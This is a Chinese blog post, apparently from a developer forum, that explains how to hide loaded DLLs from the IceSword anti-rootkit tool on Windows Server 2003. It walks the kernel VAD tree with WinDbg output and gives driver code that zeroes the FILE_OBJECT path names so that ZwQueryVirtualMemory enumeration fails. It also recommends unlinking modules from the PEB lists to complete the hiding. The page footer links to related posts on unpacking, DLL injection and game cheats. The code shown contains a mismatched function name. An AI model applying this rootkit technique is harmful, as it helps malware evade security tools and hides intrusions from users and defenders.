关于在2003中绕过IS的ZwQueryVirtualMemory

使用ZwQueryVirtualMemory枚举进程模块支持x64 #include "stdio.h" #include "windows.h"typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICO 阅读详情
 //http://hi.baidu.com/sysnap 
枚举DLL的方法很多
CreateToolhelp32Snapshot.算是最原始的..

枚举PEB..(IS使用的方法之一)缺点是断链也就无能为力了

ZwQueryVirtualMemory.(IS使用的方法之一)..不过这个小伟在XP下已经成功绕过了,但是

由于2003和XP的内核数据结构不一样,造成在2003下不兼容,我看了2003下的数据结构后,

简单的实现了下,跟XP的差别不是很大.

一般的断链IS的ZwQueryVirtualMemory是可以枚举到的
因为IS只有在完全得不到模块才会使用PEB.否则用ZwQueryVirtualMemory/...这倒是给我

们个很好绕的机会,因为你会发现效果是垮进程的,所以很适合全局钩子...自己隐藏了,所

有进程都隐藏

XP中用到的是
+0x11c VadRoot          : Ptr32 Void

2003下却是
+0x258 VadRoot          : _MM_AVL_TABLE

俩个数据结构变了,多了个_MM_AVL_TABLE和_MMADDRESS_NODE..到底跟原来的还有什么关

系

在2003中,下面几个dt命令你就知道是怎么回事了

lkd> dt _eprocess 82256cf8
nt!_EPROCESS

  +0x258 VadRoot          : _MM_AVL_TABLE

lkd> dt _MM_AVL_TABLE 0x82256cf8+0x258
nt!_MM_AVL_TABLE
  +0x000 BalancedRoot    : _MMADDRESS_NODE

lkd> dt  _MMADDRESS_NODE 0x82256cf8+0x258
nt!_MMADDRESS_NODE
  +0x000 u1              : __unnamed
  +0x004 LeftChild        : (null)
  +0x008 RightChild      : 0x824434b8 _MMADDRESS_NODE

//_MMADDRESS_NODE就是我们想要的东西,2003中才有这个结构,XP中没有

lkd> dt _MMADDRESS_NODE 0x824434b8
nt!_MMADDRESS_NODE
  +0x000 u1              : __unnamed
  +0x004 LeftChild        : 0x82443e28 _MMADDRESS_NODE
  +0x008 RightChild      : 0x821f9698 _MMADDRESS_NODE

//到了这里,我们会说,_MMADDRESS_NODE与_MMVAD有什么关系呢??..别糊涂,我们转化下就

行了

lkd> dt nt!_MMVAD 0x824434b8
  +0x000 u1              : __unnamed
  +0x004 LeftChild        : 0x82443e28 _MMVAD
  +0x008 RightChild      : 0x821f9698 _MMVAD
  +0x00c StartingVpn      : 0x1000
  +0x010 EndingVpn        : 0x10f0
  +0x014 u                : __unnamed
  +0x018 ControlArea      : 0x8219df30 _CONTROL_AREA -------------->>信息1
  +0x01c FirstPrototypePte : 0xe16009c8 _MMPTE
  +0x020 LastContiguousPte : 0xfffffffc _MMPTE
  +0x024 u2              : __unnamed
lkd> dt _CONTROL_AREA 0x8219df30
nt!_CONTROL_AREA
  +0x000 Segment          : 0xe1600990 _SEGMENT
  +0x004 DereferenceList  : _LIST_ENTRY [ 0x0 - 0x0 ]
  +0x00c NumberOfSectionReferences : 1
  +0x010 NumberOfPfnReferences : 0x50
  +0x014 NumberOfMappedViews : 1
  +0x018 NumberOfSystemCacheViews : 0
  +0x01c NumberOfUserReferences : 2
  +0x020 u                : __unnamed
  +0x024 FilePointer      : 0x82268f68 _FILE_OBJECT------------->>信息2
  +0x028 WaitingForDeletion : (null)
  +0x02c ModifiedWriteCount : 0
  +0x02e FlushInProgressCount : 0
lkd> dt _FILE_OBJECT 0x82268f68
nt!_FILE_OBJECT
  +0x000 Type            : 5

  +0x030 FileName        : _UNICODE_STRING "/WINDOWS/explorer.exe"--->>信息3

ZwQueryVirtualMemory的枚举最终是用到了+0x030 FileName        :

_UNICODE_STRING "/WINDOWS/explorer.exe"之类的信息
所以如果把这个地方抹掉..就可以成功绕过ZwQueryVirtualMemory...试了下.IS果然不能

枚举.只时候IS用了第二种方法,枚举PEB....还是能正常妹举的...但这时候只要我们在进

行断链处理..IS就枚不到了..
抹掉 +0x030 FileName        : _UNICODE_STRING "/WINDOWS/explorer.exe"的代码简

单如下


//////////////////////////////////////////////////////

void ParseVadTree(IN ULONG ParentNode)
{
    ULONG LeftChild,RightChild;
    NoPathPath(ParentNode);
    if ( MmIsAddressValid( (ULONG *)ParentNode ) )
    {
        LeftChild = *(ULONG*)((ULONG)ParentNode+0x4);
        RightChild =*(ULONG*)((ULONG)ParentNode+0x8);
        ParseVadTree(LeftChild);
        ParseVadTree(RightChild);
    }
}


void NoPath(IN ULONG ParentNode)
{
  ULONG ControlArea;
  ULONG FileObj;
  PUNICODE_STRING FilePath;
  if(ParentNode==0)
       return;
  if(MmIsAddressValid((ULONG*)((ULONG)ParentNode+0x18)))
  ControlArea=*(ULONG*)((ULONG)ParentNode+0x18);
  if(MmIsAddressValid((ULONG*)(ULONG*)((ULONG)ControlArea+0x24)))
  FileObj=*(ULONG*)((ULONG)ControlArea+0x24);
  if(MmIsAddressValid((ULONG*)(ULONG*)((ULONG)FileObj+0x30)))
  {
       FilePath=(PUNICODE_STRING)((ULONG)FileObj+0x30);
       ///////////////////////////////////////////////////////////////
       if(*(USHORT*)FileObj==FILETYPE)
       {
//你可以直接打出路径做成妹举模块的.也可以把路经抹掉///
           RtlZeroMemory(FilePath->Buffer,FilePath->Length);
           FilePath->Length = 0;
           FilePath->MaximumLength = 0;

       }
       ///////////////////////////////////////////////////////////////
  }


}
就是这样...
所以比较好的隐藏DLL是对DLL进行断链处理,然后抹掉_FILE_OBJECT里面的路径..末掉PE

文件里面的相关信息或者直接reload
////////////////////////////////////////////////////////////////////
下面是演示程序,驱动只能在2003下运行,这一点要注意
附件中
SYS的作用是把notepad.exe这个进程的所有加载模块的路径抹掉...所以在运行驱动前你

先打开notepad.exe

exe的作用是用ZwQueryVirtualMemory来枚举DLL....你可以用他看下是否加载驱动后

ZwQueryVirtualMemory就失效了....

效果是跨进程的...也就是说在目标进程了隐藏了A.DLL...那么其他进程加载了A.DLL..用
ZwQueryVirtualMemory也失效......

IS第一次用的是ZwQueryVirtualMemory...只有在找不到任何模块的时候才采用PEB...所

以如果我们只隐藏一俩个DLL....IS被绕过.....你可以发现,驱动加载后,,..你用IS来看

进程加载的DLL...是找不到NTDLL.DLL之类的DLL的..

PS::只是PASS ZwQueryVirtualMemory..没有进行断链处理,也没有抹PE中的相关信息,更

没reload..一些普通的工具还是可以得到模块的....还有蓝屏不要骂俺啊......
暴力枚举 暴力枚举 01背包 有nnn件物品,每件物品的重量为w[i]w[i]w[i],价值为c[i]c[i]c[i]。现有一个容量为VVV的背包,问如何选取物品放入背包,使得背包内物品的总价值最大。其中每种物品都只有1件。 ​ 样例: 5 8 //n=5 V=8 3 5 1 2 2 4 5 2 1 3 采用动态规划解决,问题的复杂的为O(nV)O(nV)O(nV)。 考虑对第iii件物品的选择策略,有两种策略: 不放第iii件物品,那么问题转化为前i−1i-1i−1件物品恰好装入容量为vvv的背包 阅读详情

相关推荐

最实用专业的VMP脱壳脚本

这是最实用的三个脱VMP壳的脚本,经使用非常方便,很容易找到OEP,当然VMP是强壳,不能用脚本直接脱,还要作一些技术处理,压缩强度低的的可以直接脱。

使用ZwQueryVirtualMemory枚举进程模块

 Public Sub PrintProcessModules(ByVal dwProcessId As Long)    Dim ntStatus As Long    Dim objCid As CLIENT_ID    Dim objOa As OBJECT_ATTRIBUTES    Dim hProcess As Long    Dim dwVirtualAddr As Long   

chenhui530的专栏 6125

易语言 dll注入

易语言版本 dll注入 注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。要实现DLL注入,首先需要打开目标进程。

ZwQueryVirtualMemory枚举进程模块

ZwQueryVirtualMemory枚举进程模块   ZwQueryVirtualMemory算是枚举进程方法中的黑科技吧,主要是该方法可以检测出隐藏的模块(类似IceSword)。   代码VS2015测试通过   再次奉上源码链接:https://github.com/Arsense/WindowsCode/tree/master/ZwQu...

推理小孩的博客 919

【易语言】枚举进程模块源码

【易语言】枚举进程模块源码。

易语言驱动判断内核内存是否可读

易语言驱动判断内核内存是否可读源码,驱动判断内核内存是否可读,Tn_IsBadReadptr_r0

用ZwQueryVirtualMemory枚举进程模块

////////////////////////////////////////////////////////////////////////// #include #include #include #include using namespace std; typedef enum _MEMORY_INFORMATION_CLASS {     MemoryB

qq_36453052的博客 540

易语言API枚举进程内模块

易语言API枚举进程内模块源码,API枚举进程内模块,Enum,Unicode转Ansi,ZwQueryVirtualMemory_mbi,ZwQueryVirtualMemory_msn,ReadProcessMemory_idh,ReadProcessMemory_inh,CopyMemory_msn,WideCharToMultiByte,CopyMemory_mbi,OpenProcess,RtlAdjustPrivilege,

在 icesword darkspy等***检测下隐藏文件的方法

测试目录为 G:\test\test>dirG:\test\test 的目录2006-05-30 16:43 .2006-05-30 16:43 ..2006-05-30 19:47 ..2003-03-27 20:00 464,896 bac.exe 1 个文件 464,896...

weixin_34015860的博客 118

LSTM量化选股实战:从数据清洗到回测归因的工程化闭环

LSTM(长短期记忆网络)是一种专为建模长程依赖而设计的循环神经网络,其门控机制能有效应对金融时序数据的非线性、高噪声与动态演化特性。相比传统统计模型或简单RNN,LSTM在股价趋势建模中展现出更强的鲁棒性与泛化能力,尤其适合处理日频多因子时序信号。其技术价值不仅在于提升预测精度,更在于支撑可归因、可审计的量化策略工程实践——从特征构建、标签定义到滚动回测,每一步都需严防未来信息泄露与过拟合风险。典型应用场景包括A股多因子选股、行业轮动信号生成及Alpha组合优化。本文聚焦LSTM在真实量化场景中的落地难点

weixin_33158887的博客 400

DAC8568控制器实战:如何用STM32实现多通道同步输出(附完整代码)

本文详细介绍了如何使用STM32微控制器驱动TI的DAC8568多通道DAC控制器,实现高精度的多通道同步模拟信号输出。内容涵盖硬件设计要点、SPI时序精准配置、驱动层命令构建,并重点解析了通过LDAC引脚实现同步更新的核心策略,提供了完整的代码框架和实战案例,帮助工程师快速解决多通道同步输出的工程难题。

weixin_29179311的博客 173

用ZwQueryVirtualMemory遍历进程模块

;=============================================================================== ;use ZwQueryVirtualMemory to enum Modules of a process ;subsystem:console ;OS Platform:tested on Windows XP Professi

qq_36453052的博客 1119

避坑指南:Qt无边框窗口拖动+阴影效果这些细节要注意

本文深入探讨了Qt无边框窗口开发中实现流畅拖动与阴影效果的关键细节与常见陷阱。针对高DPI屏幕适配、阴影闪烁、拖动卡顿及多显示器兼容性等核心难题,提供了从QGraphicsDropShadowEffect原理剖析到手动绘制优化、坐标系统精准处理及平台原生事件拦截的实战解决方案,帮助开发者构建稳定、美观的商业级应用界面。

weixin_27943395的博客 479

linux 枚举进程,ZwQueryVirtualMemory枚举进程模块

ZwQueryVirtualMemory算是枚举进程方法中的黑科技吧,主要是该方法可以检测出隐藏的模块(类似IceSword)。代码VS2015测试通过好的下面我们进入正题 这个没有深入研究 就是简单测试读了下代码 很久了 忘记差不多了 所以只是整理献上一个比较好的其他博友的1常见的枚举进程模块的方法有CreateToolhelp32Snaphot,Module32First,Module32Ne...

weixin_39911066的博客 586

企业微信——智能表格学习

企业微信报表

qq_15138049的博客 1万+

Open3d Qt的环境配置

目前统一使用qt6配置,open3d中可视化功能目前使用vtk代替,语言为c++。

阁楼 920

教你编写DOTA外挂

好久木有研究DOTA了,整理篇小菜文章。 首先,我们要提升外挂本身程序权限,使其能够有权限修改war3游戏的内存。这个c++可以使用如下代码     void EnableDebugPriv()//提升程序自身权限  {          HANDLE hToken;          LUID sedebugnameValue;          TOKEN_PRIVILEGES

循序渐进,可收宏效 3145

OpenHarmony深度定制:从系统到模块的全景剖析与自定义模块实战

目标:在中新增一个算法库,让产品可直接调用。关闭不用的 20+ 系统部件,ROM 缩小 50 %;为自家芯片新增专用驱动模块,快速点亮开发板;内将核心算法库以部件形式集成,实现商业闭源。万物互联时代,差异化才是护城河。

m0_67505153的博客 1042

编程小白C语言枚举

简单介绍 C语言中,枚举类型是被当作int或者unsigned int 类型来处理的,枚举类型必须连续是可以实现有条件的遍历,以下实例使用for来遍历枚举的元素 用一个简单的代码来用用,测试看看 实现代码 #include<stdio.h> int main() { enum DAY { MON=1,TUE=2,WED=3,THU=4,FRI=5,SAT=6,...

linux2422988311的博客 269

ABAP RAP 行为建模深入学习:从 Behavior Definition 到 Behavior Implementation 的完整实践指南

ABAP RAP开发指南:业务行为定义与实现 本文介绍SAP RAP框架中业务对象行为的开发方法: 分层设计 Behavior Definition声明业务能力(增删改查、校验、动作等) Behavior Implementation在ABAP类中编写具体逻辑 核心组件 使用BDL定义业务行为 通过FOR BEHAVIOR OF绑定行为池类(ABP) 在本地类实现校验/确定/动作逻辑 关键特性 支持managed/unmanaged两种实现模式 提供草稿表、并发控制等企业级功能 通过EML以别名访问实体 开

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 414

从零到一构建一个智能爬虫 Agent 完整教程

本文将打造一个具备自主决策、动态解析、反反爬、持久化能力的智能爬虫 Agent

数据知道的博客 4799

检测隐藏DLL

for (i=0;i{                    ZwQueryVirtualMemory(hProcess,(PVOID)i,MemorySectionName,out_data,STR_LENGTH,&retLength);                         if(!IsBadReadPtr((BYTE*)out_data->SectionFile

1734

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 215

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

上一篇: 利用CreateEvent函数不让微点启动
下一篇: 暴力注入Explorer的apc方法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值